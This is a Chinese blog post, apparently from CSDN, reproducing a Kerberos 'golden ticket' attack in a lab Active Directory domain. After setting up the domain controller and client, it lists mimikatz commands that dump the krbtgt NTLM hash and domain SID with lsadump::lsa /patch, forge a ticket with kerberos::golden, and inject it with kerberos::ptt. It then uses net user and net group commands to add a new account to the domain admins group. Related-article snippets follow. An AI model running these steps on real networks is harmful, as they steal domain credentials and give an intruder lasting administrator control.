黄金票据传递攻击

最新推荐文章于 2024-04-15 00:48:49 发布
最新推荐文章于 2024-04-15 00:48:49 发布
阅读量572 收藏 7
点赞数 3
文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_79742437/article/details/135890602
版权

黄金票据传递攻击

黄金票据利用的条件：

1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH值(域控主机上)

4、伪造任意用户名 （域用户）

适用场景

黄金票据是身份票据，黄金票据的攻击行为是指攻击者绕过了AS身份认证服务。

由于有些原因导致对域管理权限的丢失，但好在还有一个普通域用户权限，管理员在域内加固时忘记重置krbtgt密码

在正常情况下krbtgt用户的哈希值只会在管理域管主机上才会有，普通域用户上是没有krbtgt哈希的，也就是说不拿到域管是看不到krbtgt哈希。

先拿到域管的权限才能看到krbtgt哈希，才能实现黄金票据传递

模拟伪造身份票据

一、搭建域环境

域控主机：Server-2008

普通域用户：Windows-7

在srever-2008中把域服务器搭建起来

配置静态IP地址
域控主机：196.254.176.184/24；普通域用户：196.254.176.1/24。

都设置成LAN模式下。
1、在 Server-2008 搭建域服务器

网络适配器设置成 LAN 模式
在这里插入图片描述

配置静态 IP：196.254.176.184
在这里插入图片描述

创建域
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在终端中输入命令 dcpromo ,安装活动目录
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

密码：!a123456
在这里插入图片描述

在这里插入图片描述

安装完成

开机后在管理工具中打开DNS，目录下自动分配mxy.com。再从新创建主机名称 dc1.mxy.com，IP地址196.254.176.1。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、回到 wid7 客户机，加入到域环境中（先设置静态 IP 跟 server2008 能 ping 的通）

网络适配器设置成 LAN 模式下

在这里插入图片描述

配置静态 IP：196.254.176.1

在这里插入图片描述
在这里插入图片描述

加入域环境

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

到此域环境创建好了

二、伪造黄金票据
1、先拿到krebtgt用户的NTLM哈希值（域控主机操作）

mimikatz工具必须以管理员身份运行(system权限)

在这里插入图片描述

在这里插入图片描述

启动mimikatz步骤

1、mimikatz.exe  
2、privilege::debug

在这里插入图片描述

//列出域管理员账户的哈希值
lsadump::lsa /patch

//krbtgt用户 NTLM 哈希值
f1bb7c2c38b3cd553b4adb3545cb04aa

//域的SID值
s-1-5-21-1856254265-2252388306-3277309693

在这里插入图片描述

//生成黄金票据(伪造的黄金票据命令)
kerberos::golden /user:administrator /domain:mxy.com /sid:S-1-5-21-1856254265-2252388306-3277309693/krbtgt:f1bb7c2c38b3cd553b4adb3545cb04aa /ticket:ticket.kirbi

//需要伪造的域管理员用户
/user:

//域名称
/domain:

//SID值，（这里要是使用系统命令的话抓到是这样的SID，最后面的值代表着这个账号的SID值，注意是去掉最后一个-后面的值！）
/sid：

//生成的票据名称
/ticket：

在这里插入图片描述

2、在普通域用户中使用mimikatz工具生成黄金票据.kirbi文件并保存

在这里插入图片描述

输入黄金票据

在这里插入图片描述

清除票据

kerberos::purge   \\清除票据
kerberos::tgt     \\查看票据

在这里插入图片描述

导入票据

kerberos::ptt ticket.kirbi  \\导入票据
kerberos::tgt     \\查看票据

在这里插入图片描述

三、创建新用户（hulala)，提升权限（域管理员）

切换到cmd终端

whoami  //查看本地用户

net user hulala 1234.com /add /domain   //在域控中添加用户'hulala'

net user /domain   //查看域账户

net group "domain admins" /domain   //查看域管理组中的组用户

net group "domain admin" hulala /add /domain   //用户'hulala'添加到域管理员组

在这里插入图片描述

在这里插入图片描述

验证（切换用户）

在这里插入图片描述

在这里插入图片描述

域用户可以任意的控制域内的主机
在这里插入图片描述

2660)]

[外链图片转存中…(img-4XbFNfEw-1706370982660)]

验证（切换用户）

[外链图片转存中…(img-Ke3ywzsR-1706370982661)]

[外链图片转存中…(img-zO3jehmd-1706370982661)]

域用户可以任意的控制域内的主机

[外链图片转存中…(img-khzn35wF-1706370982661)]

告别错的，方可遇到对的
关注
  • 3
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
黄金票据和白银票据详解
败在我手中之敌，从来不会被我视为对手，我给你时间追赶，直至你遥望不见。
06-22 5305
在 Windows 系统中，存在许多突破用户权限或绕过系统保护机制的漏洞，攻击者可以通过利用这些漏洞，提升自己的权限并获取黄金票据。​ Golden Ticket是通过伪造的TGT（由身份认证服务授予的票据，用于身份认证，存储在内存，默认有效期为10小时），因为只要有了高权限的TGT，那么就可以发送给TGS（票据授予服务）换取任意服务的ST。​ 每个用户的Ticket都是由krbtgt的密码Hash来生成的，那么，我们如果拿到了krbtgt的密码Hash，其实就可以伪造任意用户的TICKET，
黄金票据攻击
Aquariusqsmy的博客
04-02 954
通过这种方法，攻击者可以生成有效的TGT Kerberos票据，且这些票据不受TGT生命周期的影响（TGT默认生命周期为10小时，最多可续订7天）。在Windows系统中，攻击者还可以利用已获得的权限或漏洞进行票据提权，进一步提升自己的权限并获取黄金票据。具体来说，黄金票据攻击可以为任意用户生成TGT票据，这意味着攻击者甚至可以为域管理员生成TGT，从而使普通用户获得域管理员的权限。：SID（安全标识符）是唯一的，用于标识Windows操作系统中的安全主体（如用户账户、组账户等）。
票据传递攻击
qq_56426046的博客
11-12 965
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在KDC 中，krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash，就可以伪造TGT和Logon Session Key 来进入下一步 Client 与 TGS 的交互。白银票据的利用过程是伪造TGS，通过已知的授权服务密码生成一张可以访问该服务的TGT。
域内横向移动技术——黄金票据攻击
zzgslh的博客
06-22 1955
域内横向移动技术——黄金票据攻击 一、黄金票据攻击介绍 黄金票据（golden ticket）攻击，是一种为任意用户生成TGT票据的方法，属于一种后门。黄金票据生成，是生成有效的TGT Kerberos票据，并且不受TGT生命周期的影响（TGT默认10小时，最多续订7天），那么，这里可以为任意用户生成黄金票据，就可以为域管理员生成TGT，普通用户就可以变成域管理员。 二、Kerberos认证流程 Windows 的认证协议主要有两种，一种是 NTLM 认证，另一种是 Kerberos认证。 这里主要简
域权限维持—黄金票据和白金票据
最新发布
lza20001103的博客
04-15 566
域权限维持—黄金票据和白金票据
票据培训20220120
01-20
票据培训20220120 票据培训是金融行业中的一门重要课程，旨在帮助学习者了解票据业务的基本概念、流程和操作。下面是票据培训的相关知识点： 1. 票据业务简介 票据业务是指银行或其他金融机构发放票据，以满足...
恒生票据综合管理系统解决方案
03-14
该解决方案涵盖了票据的整个生命周期管理，包括电子票据、实物票据、票据池、票据理财、票据资管等模块。 业务解决方案： 恒生票据综合管理系统解决方案提供了多种业务解决方案，包括： * 票据业务解决方案：提供...
票据业务培训.ppt
08-10
金融票据业务培训文档
C#票据打印系统
12-29
《C#票据打印系统：深度解析与应用》 在信息技术高速发展的今天，各种软件系统扮演着日益重要的角色，其中C#票据打印系统以其强大的功能和灵活性，在商业运营、企业管理等领域得到了广泛应用。本篇文章将深入探讨C#...
asp.net 票据简单应用
10-30
ASP.NET的票据管理是基于HTTP协议的无状态特性设计的，它通过在请求之间存储和传递数据，使得服务器能够识别和管理用户会话。在这个例子中，身份验证票据以cookie的形式存储在客户端，每次请求时都会发送回服务器，...
内网渗透之黄金票据
m0_70349048的博客
03-31 543
所以黄金票据攻击，并不是一种普通的攻击方式，该攻击方式其实是一种后门的形式，属于第二次进行攻击的方法，第一次拿到域管权限之后，需要将krbtgt hash进行保存，当第二次再来进行渗透攻击时，我们就可以使用krbtgt hash制作黄金票据，从而获得管理员权限。黄金票据生成，是生成有效的TGT Kerberos票据，并且不受TGT生命周期的影响（TGT默认10小时，最多续订7天），那么，这里可以为任意用户生成黄金票据，就可以为域管理员生成TGT，普通用户就可以变成域管理员。黄金票据是用来维持权限的手段。
「运维有小邓」AD域常见攻击之——黄金票据
运维有小邓
03-28 2511
“Golden Ticket Attack（黄金票据）”是一个特别丰富多彩的（如果你会原谅双关语）名称，用于特别危险的攻击。这个绰号来自罗尔德·达尔（Roald Dahl）的书 查理和巧克力工厂， 其中一张金票是令人梦寐以求的通行证，可以让其所有者进入威利旺卡戒备森严的糖果工厂。同样，成功的Golden Ticket（黄金票据） 攻击使黑客能够访问组织的整个 Active Directory 域。
黄金票据复现
plutochen05的博客
04-03 941
黄金票据攻击是网络安全领域中一种重要的渗透攻击手段。它利用Kerberos身份认证协议中的漏洞，允许攻击者伪造域控krbtgt用户的TGT（Ticket-Granting Ticket）。一旦攻击者成功伪造了TGT，他们就可以访问网络中的任何资源，而无需知道任何有效用户的账户凭据。这种攻击方式可以让攻击者在域中提升权限，甚至取得域管理员权限。黄金票据攻击的前提是攻击者需要获得管理员访问域控制器的权限，并抓取到krbtgt hash。
集权攻击系列：如何利用PAC新特性对抗黄金票据？
ZAWX_NETSTARSEC的博客
06-01 738
2021年11月9日，微软发布了针对CVE-2021-42287漏洞的修复补丁，跟据微软的文章描述，此次更新后，在PAC中添加了一个新属性PAC_REQUESTORKDC将会在PAC的PAC_REQUESTOR结构体填充原始请求者的SID，并且在TGS_REQ过程验证请求用户(cname)是否和PAC_REQUESTOR中的SID相匹配。在后续的TGS请求中KDC会将TGT中的PAC直接复制到返回给用户的ST票据中，最终由服务向KDC申请验证该PAC来确认用户是否有权访问该服务。微软将整个更新过程分为。
基于AD Event日志识别黄金票据攻击
12-18 522
01、简介黄金票据(Golden Ticket)是基于Kerberos认证的一种攻击方式，常用来做域控权限维持。当攻击者获取到域内krbtgt帐户的SID和HASH，就可以随意伪造域内管理员用户，再加上域帐户krbtgt的密码基本不会更改，即使域管修改了密码，攻击者依然可以通过黄金票据获取域管理员权限。在域环境中，黄金票据无疑是一种特别危险的攻击，是域控权限失陷的特征，基于AD Event日志如何...
域渗透 | kerberos认证及过程中产生的攻击
st3pby的博客
02-20 7016
Windows认证一般包括本地认证(NTLM HASH)和域认证（kerberos）。认证的原理网上有很多文章。如果喜欢听视频课程的话，这里推荐倾旋师傅的分享课本篇文章主要内容是Kerberos认证过程中产生的攻击。Kerberos是由麻省理工学院提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。Kerberos协议有两个基础认证模块:和，以及微软扩展的两个认证模块S4U和PAC。kerberos是一种基于票据的认证方式。
内网渗透-(黄金票据和白银票据)详解(一)
duoba_an的博客
03-31 1465
在 Kerberos 认证中，最主要的问题是如何证明「你是你」的问题，如当一个 Client 去访问 Server 服务器上的某服务时，Server 如何判断 Client 是否有权限来访问自己主机上的服务，同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性，这正是 Kerberos 解决的问题。获取Client的sid，以及所在的组，再根据该服务的ACL，判断Client是否有访问服务的权限，到此完成整个认证流程（大多数服务并没有验证PAC这一步）。这个是启用PAC支持的扩展。
复现黄金票据
Twilight_o的博客
04-03 875
黄金票据（golden ticket）攻击，是一种为任意用户生成TGT票据的方法，属于一种后门。黄金票据生成，是生成有效的TGT Kerberos票据，并且不受TGT生命周期的影响（TGT默认10小时，最多续订7天），那么，这里可以为任意用户生成黄金票据，就可以为域管理员生成TGT，普通用户就可以变成域管理员。这里主要简单说一下Kerberos认证方式，这是一种基于票据的认证方式，有客户端、服务器和KDC（DC，Domain Controller）组成。2.清空票据 #防止之前的票据对新作的票据产生影响。
域权限维持-黄金/白银票据详解
good good study
04-19 2065
在域环境中进行权限维持，谈的比较多的便是票据，分为白银票据和黄金票据， 其原理都是基于Kerberos认证。黄金票据伪造的是域管下发给用户的TGT，而白银票据则是伪造的 ST。
内网中黄金票据和白银票据的区别
05-14
在内网中，黄金票据和白银票据通常是指两种不同的身份验证方式。 黄金票据是指一个用于身份验证的加密令牌，它被称为黄金是因为它具有最高的权限级别。黄金票据可以让用户在网络中获得管理员级别的访问权限，因此它的使用应该被高度限制并受到严格的监管。 白银票据则是一个用于身份验证的较低级别的加密令牌。它通常被用于授权用户在网络中执行一些普通的任务，例如打印文件或者访问共享文件夹。白银票据通常具有比黄金票据更低的访问权限，因此它的使用范围更广，可以被更多的用户所使用。 总的来说，黄金票据和白银票据都是用于身份验证的加密令牌，它们的主要区别在于权限级别的高低。在内网中，这些票据的使用应该受到高度的限制和监管，以确保网络的安全性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值